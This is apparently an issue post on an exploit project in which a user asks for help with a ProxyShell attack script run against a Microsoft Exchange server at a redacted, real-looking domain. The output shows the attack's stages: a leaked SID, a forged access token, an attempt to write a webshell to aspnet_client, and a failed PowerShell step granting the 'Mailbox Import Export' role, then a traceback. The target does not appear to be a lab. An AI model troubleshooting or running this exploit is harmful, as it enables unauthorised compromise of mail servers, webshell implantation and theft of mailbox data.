error on step : write webshell at aspnet_client/file.aspx

[striker89]

Hello;
I would like to thank you first guys for sharing. you are doing an amazing job.
I am getting the below errors during the script execution:

``python3 proxyshell.py -t mail.xxx.com
fqdn sydexmb05.xxx.local

• [email protected]
  legacyDN /o=xxxEXCH/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=06a9e72fb0e645b6bb1c3a0f267e6b82-A BASSOP
  leak_sid S-1-5-21-1025108317-2912364014-3645357861-4443
  token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBJBLkJBU1NPUEBjYW10ZWwuY21VLlMtMS01LTIxLTEwMjUxMDgzMTctMjkxMjM2NDAxNC0zNjQ1MzU3ODYxLTQ0NDNHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA=
  set_ews Success with subject edosluwomhgoovgt
  write webshell at aspnet_client/aztyv.aspx
  Traceback (most recent call last):
  File "/home/kali/Downloads/proxyshell/proxyshell.py", line 427, in
  main()
  File "/home/kali/Downloads/proxyshell/proxyshell.py", line 395, in main
  shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', local_port)
  File "/home/kali/Downloads/proxyshell/proxyshell.py", line 336, in shell
  output = ps.invoke()
  File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1102, in invoke
  return self.end_invoke()
  File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1078, in end_invoke
  self.poll_invoke()
  File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1252, in poll_invoke
  responses = self.runspace_pool._receive(self.id,
  File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 640, in _receive
  response = self.shell.receive("stdout", command_id=command_id,
  File "/usr/lib/python3/dist-packages/pypsrp/shell.py", line 238, in receive
  response = self.wsman.receive(self.resource_uri, receive,
  File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 311, in receive
  res = self.invoke(WSManAction.RECEIVE, resource_uri, resource,
  File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 400, in invoke
  response_xml = ET.fromstring(response)
  File "/usr/lib/python3.9/xml/etree/ElementTree.py", line 1348, in XML
  return parser.close()
  xml.etree.ElementTree.ParseError: no element found: line 1, column 0
  
  I am a complete nmap noob - please can you help?